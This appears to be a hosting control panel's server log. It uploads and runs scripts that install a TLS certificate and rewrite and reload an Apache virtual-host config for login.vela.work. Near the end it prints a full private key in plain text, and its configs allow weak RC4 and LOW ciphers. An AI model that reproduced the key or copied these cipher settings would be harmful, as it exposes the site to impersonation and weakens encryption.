/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-19 11:25:39: 

chmod 755 /tmp/pkp361692; /tmp/pkp361692; rm /tmp/pkp361692

2026-06-19 11:25:40: 


dir=/etc/ssl/certs


2026-06-19 11:25:40: 

PUT: /tmp/pkp776620

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_login_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:25:40: 

chmod 755 /tmp/pkp776620; /tmp/pkp776620; rm /tmp/pkp776620

2026-06-19 11:25:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_login_work.conf 39

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-06-19 11:25:40: 

PUT: /tmp/pkp809062

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_login_work.conf
TARGET=/etc/apache2/sites-enabled/vela_login_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_login_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf= 1'
fi


2026-06-19 11:25:40: 

chmod 755 /tmp/pkp809062; /tmp/pkp809062; rm /tmp/pkp809062

2026-06-19 11:25:40: 




2026-06-19 11:25:40: 

PUT: /tmp/pkp227781

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-19 11:25:40: 

chmod 755 /tmp/pkp227781; /tmp/pkp227781; rm /tmp/pkp227781

2026-06-19 11:25:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:25:40: Establishing a connection
2026-06-19 11:25:40: 

PUT: /tmp/pkp471262

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-19 11:25:40: 

chmod 755 /tmp/pkp471262; /tmp/pkp471262; rm /tmp/pkp471262

2026-06-19 11:25:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:19)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:25:40: 

PUT: /tmp/pkp388968

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_login_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:25:40: 

chmod 755 /tmp/pkp388968; /tmp/pkp388968; rm /tmp/pkp388968

2026-06-19 11:25:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_login_work.conf	1162

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-19 11:25:40: 

PUT: /tmp/pkp736717

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:25:40: 

chmod 755 /tmp/pkp736717; /tmp/pkp736717; rm /tmp/pkp736717

2026-06-19 11:25:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt	7416
ef:9b:c8:c4:01:d1:9d:63:79:42:98:9d:7f:24:13:6a

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBafiDnBkmdtt7+XXLUxxP5xRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE5MTAyNzA4WhcNMjYwOTE3MTAyNzA3WjAaMRgwFgYDVQQD
Ew9sb2dpbi52ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDYzq7wranAU68I3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37K
W0gLwYAGFmjzHI+BiA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDO
XqINK8HD7yn8GbjqFmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK
7NsN0hp8vhe9NHgGwc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgn
csNnp8/KV7AqiLdH6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1
bTSdM/vs4wIJKsl0TUGRmWpvAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUtq8E
dpFHUUgKMWMtpCm1/4qopLEwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9sb2dpbi52ZWxhLndvcmswEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy84Mi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwDCMX5XRRmjRe5/ON6y
kEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ7foR2JAAAEAwBIMEYCIQDXwsaYRC+HO59x
Cr1CSS8poACjXKIbKUktPxuduv8C3QIhAICpklAZbuwfFIznpDA7v8IzEgASrQYJ
DUMd+tIslCZdAH8AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGe
36Ef9AAIAAAFABEpbuAEAwBIMEYCIQCi3pE/G9Soczs33EvpXve/JotV0Bi2Bk0f
zO1uYPgwBgIhALDczNGd6/up8TD5LtCbQgwtdnrLV2d1V3JXji4bFLsrMA0GCSqG
SIb3DQEBCwUAA4IBAQCPbDenvI/wBofQLSS3bBDIU/Om+tkombCAc3p9z7jyc2iJ
lrsgHpre0RXCyIrWeTMkyzODrgMsZsWRWlaoeqit8vINiyYXaRmfELFt/6Hq/HDN
57jW1Mwgjmke8vGahVKhziyVZlKONfNdHYajCYPuOL5ICt8T/2jNj94fyifqMkXD
Mw0u78OT/pVwZCJ23qmcK+WJX++c2/5IwzG45BJNp1wFxqxoVOIOJcYnamGg3X2Q
1kWVqS3nrIHvRkFBjEqqntm9TIZpAwFbgwD2KMiIm9H/wDnJ32rfy+v/IUYIJNwV
/IK2Nk6dpiwBlIdWSUicycHn3S1zT1+gfpDdZgu5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYzq7wranAU68I
3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37KW0gLwYAGFmjzHI+B
iA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDOXqINK8HD7yn8Gbjq
FmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK7NsN0hp8vhe9NHgG
wc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgncsNnp8/KV7AqiLdH
6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1bTSdM/vs4wIJKsl0
TUGRmWpvAgMBAAECggEARkRiZYXbbQaSRax1uFJBc+wxexWGB9nNb/yvxdyxMIwc
a7POc5j8fapvKS8DXGFOTeUWcaKkvBpnFmO7H+aXpr7iL9lU+0LQ5YL4Db9FfqAL
Qg+UZiyuoA5ePuyFz0TTf7JNWAv1DwxlJpU/gFY7383e5BOotZAV5n0XWN9wecv4
8gPFq3mHMrrm7uZ0uzyfZzMpb3EBs4O98T5ALyYsG83+Siah5ZQBJXRgyesdDiHx
4RgdNocP4K3z0QmZR4czyr8zQich7staJAtTbEwJGHh12YCwFwY8Fr/VoaR0QjFY
y+cK/PtYgsC3o4hxgXfo7rL0HdD4vMItWU0YomQYoQKBgQDtbrZoJcBbTlV4dtI+
rKi/nUQvDwodcYz/yl9YZJQi2u7FFJXoUlrmDbni7FyIj3J1auKD1ZbYrAfkOTuU
a2t3BV3Ngy4OeteNAZXvQI3e6z6AByOtwKo+AWBSY564dYBRrjPHiTKsHojpxt7N
L0VQA5yD0/frvwMHv2gS9e4gzwKBgQDpwxDPCtYfwm/sorP6nGazuXcBnaeGnB9+
lnNB91q928bPgpkq4XKS3y4JXr2ySaPrQRc79FWia54oQGs/u5CQ3EvN/X5Miuwx
WcpvcyVfSUazG6lrD8kCm9GLH9yE7axzJcwILva/zbynBXIJC4FPr0T11lbrbzYq
ALMkHdhEYQKBgDCKD7Re82I3M3X7JKQ3fBAgQI42TuUSD7dDUhaqCTbO9z1HJhZm
r7qUV8oydABfAxFKFqDJC5ukH8DiinGfPEsKx9B53vKK3oIvLs3IrrhB83cM/phI
6QTgFycAwrQHIYKRUHicbcWOQIM6atYbsdnXwymYLfj+BcqRsN8fc901AoGASngY
DL05BZkdqtcSWw4kMbEt1lfxHJLz/ZHUWfmA8Obo6QaD4QM9SsjKk7WY3QlUrQdp
bXIjLcD2+3+6Ku2H2n4zsAXHjH7dS8N9GBAoobhoS3rOeArpUGlvUdDuoXJN88jg
vOKpPOU/6j1z3KnLoiUF5QNJYWtmZ+8dIq5XTUECgYAYfr/3gw5DUSBcXUfng7ig
2j7hcXXK1vGL+NSrr77qNhIL5AJVfrEqJGlHeqJW1AshOAXSh0FVW83WKv8+wztd
r6BLpfy10eLkc2XMTtC2l6cOy3TF8HaAF13EzuEsqG/cfL6knEj+KaYHEGGCHNWJ
BkHY72Ww3rlp8OxHEeu2rg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
